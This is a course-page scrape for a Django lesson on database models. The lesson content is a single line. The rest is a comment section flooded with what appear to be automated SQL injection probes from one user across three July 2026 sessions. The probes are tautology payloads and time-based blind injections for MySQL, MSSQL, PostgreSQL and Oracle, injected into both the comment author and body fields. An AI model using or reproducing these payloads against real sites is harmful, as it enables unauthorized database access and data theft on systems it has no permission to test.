7. Creating a database model - Django for absolute beginners

You need to be subscribed to a plan to get access to the full course.

A database model is used to describe the data we want to use. Learn how to do it in this part.

Comments

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:07

555

EFSArCBy | Jul 02, 26 10:07

555

EFSArCBy | Jul 02, 26 10:07

-1 OR 2+753-753-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:07

-1 OR 2+529-529-1=0+0+0+1

EFSArCBy | Jul 02, 26 10:07

-1' OR 2+505-505-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:07

-1' OR 2+491-491-1=0+0+0+1 or 'etEvY9qj'='

EFSArCBy | Jul 02, 26 10:07

-1" OR 2+493-493-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:07

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 10:07

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 10:07

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 10:07

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 10:07

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:07

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:07

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:07

5559Jpg8hQz'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:07

555-1 OR 304=(SELECT 304 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:07

555-1) OR 990=(SELECT 990 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:07

555-1)) OR 814=(SELECT 814 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:07

555rKlSi574' OR 486=(SELECT 486 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:07

555bTrPvyBc') OR 507=(SELECT 507 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:07

555XbbnBC79')) OR 69=(SELECT 69 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:07

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 10:07

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 10:07

555

EFSArCBy | Jul 02, 26 10:07

555'"

EFSArCBy | Jul 02, 26 10:07

@@zY5qr

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

-1 OR 2+779-779-1=0+0+0+1 -- | Jul 02, 26 10:08

555

-1 OR 2+303-303-1=0+0+0+1 | Jul 02, 26 10:08

555

-1' OR 2+875-875-1=0+0+0+1 -- | Jul 02, 26 10:08

555

-1' OR 2+50-50-1=0+0+0+1 or '6yUtCrca'=' | Jul 02, 26 10:08

555

-1" OR 2+820-820-1=0+0+0+1 -- | Jul 02, 26 10:08

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 10:08

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 10:08

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 10:08

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 10:08

555

EFSArCBy5DUFVzNF'; waitfor delay '0:0:15' -- | Jul 02, 26 10:08

555

EFSArCBytwbda198' OR 802=(SELECT 802 FROM PG_SLEEP(15))-- | Jul 02, 26 10:08

555

EFSArCBySQeNTB2P') OR 684=(SELECT 684 FROM PG_SLEEP(15))-- | Jul 02, 26 10:08

555

EFSArCByipJB1P5f')) OR 954=(SELECT 954 FROM PG_SLEEP(15))-- | Jul 02, 26 10:08

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy'" | Jul 02, 26 10:08

555

@@W881c | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 02, 26 10:08

555

EFSArCBy | Jul 20, 26 11:08

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

-1 OR 2+399-399-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:13

-1 OR 2+791-791-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:13

-1' OR 2+555-555-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:13

-1' OR 2+267-267-1=0+0+0+1 or '8viQOYW9'='

EFSArCBy | Jul 20, 26 11:13

-1" OR 2+417-417-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:13

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:13

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:13

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:13

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:13

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:13

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:13

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:13

555v77MyMk4'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:13

555-1 OR 677=(SELECT 677 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:13

555-1) OR 766=(SELECT 766 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:13

555-1)) OR 923=(SELECT 923 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:13

555rNGNXNUI' OR 332=(SELECT 332 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:13

555MLjUXXUB') OR 313=(SELECT 313 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:13

555jbwvkvI6')) OR 628=(SELECT 628 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:13

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:13

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555'"

EFSArCBy | Jul 20, 26 11:13

@@rDvpw

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

-1 OR 2+160-160-1=0+0+0+1 -- | Jul 20, 26 11:13

555

-1 OR 2+16-16-1=0+0+0+1 | Jul 20, 26 11:13

555

-1' OR 2+108-108-1=0+0+0+1 -- | Jul 20, 26 11:13

555

-1' OR 2+117-117-1=0+0+0+1 or 'DQhWrPFs'=' | Jul 20, 26 11:13

555

-1" OR 2+443-443-1=0+0+0+1 -- | Jul 20, 26 11:13

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:13

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:13

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:13

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:13

555

EFSArCBywIypiLXZ'; waitfor delay '0:0:15' -- | Jul 20, 26 11:13

555

EFSArCByEYhSMDBp' OR 307=(SELECT 307 FROM PG_SLEEP(15))-- | Jul 20, 26 11:13

555

EFSArCByqWbZM4J0') OR 99=(SELECT 99 FROM PG_SLEEP(15))-- | Jul 20, 26 11:13

555

EFSArCBykDLFE0ew')) OR 865=(SELECT 865 FROM PG_SLEEP(15))-- | Jul 20, 26 11:13

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy'" | Jul 20, 26 11:13

555

@@9vuVM | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:13

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 20, 26 11:14

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:08

555

EFSArCBy | Jul 23, 26 02:08

555

EFSArCBy | Jul 23, 26 02:08

-1 OR 2+41-41-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:08

-1 OR 2+555-555-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:08

-1' OR 2+140-140-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:08

-1' OR 2+212-212-1=0+0+0+1 or 'S1BAZ21z'='

EFSArCBy | Jul 23, 26 02:08

-1" OR 2+554-554-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:08

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:08

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:08

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:08

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:08

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:08

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:08

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:08

555R68LvNOK'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:08

555-1 OR 179=(SELECT 179 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:08

555-1) OR 938=(SELECT 938 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:08

555-1)) OR 434=(SELECT 434 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:08

5557tgwCN5T' OR 430=(SELECT 430 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:08

555kO1eCreM') OR 457=(SELECT 457 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:08

5559vgtk1H9')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:08

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:08

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:08

555

EFSArCBy | Jul 23, 26 02:08

555'"

EFSArCBy | Jul 23, 26 02:08

@@deXLM

EFSArCBy | Jul 23, 26 02:08

555

EFSArCBy | Jul 23, 26 02:08

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

-1 OR 2+995-995-1=0+0+0+1 -- | Jul 23, 26 02:09

555

-1 OR 2+512-512-1=0+0+0+1 | Jul 23, 26 02:09

555

-1' OR 2+269-269-1=0+0+0+1 -- | Jul 23, 26 02:09

555

-1' OR 2+145-145-1=0+0+0+1 or '8RrVuG7Y'=' | Jul 23, 26 02:09

555

-1" OR 2+814-814-1=0+0+0+1 -- | Jul 23, 26 02:09

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:09

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:09

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:09

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:09

555

EFSArCBywwq1UOy6'; waitfor delay '0:0:15' -- | Jul 23, 26 02:09

555

EFSArCByFXRexkfG' OR 275=(SELECT 275 FROM PG_SLEEP(15))-- | Jul 23, 26 02:09

555

EFSArCBypW5jX8Zg') OR 747=(SELECT 747 FROM PG_SLEEP(15))-- | Jul 23, 26 02:09

555

EFSArCByQfvnGDH4')) OR 954=(SELECT 954 FROM PG_SLEEP(15))-- | Jul 23, 26 02:09

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy'" | Jul 23, 26 02:09

555

@@npyEV | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:09

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.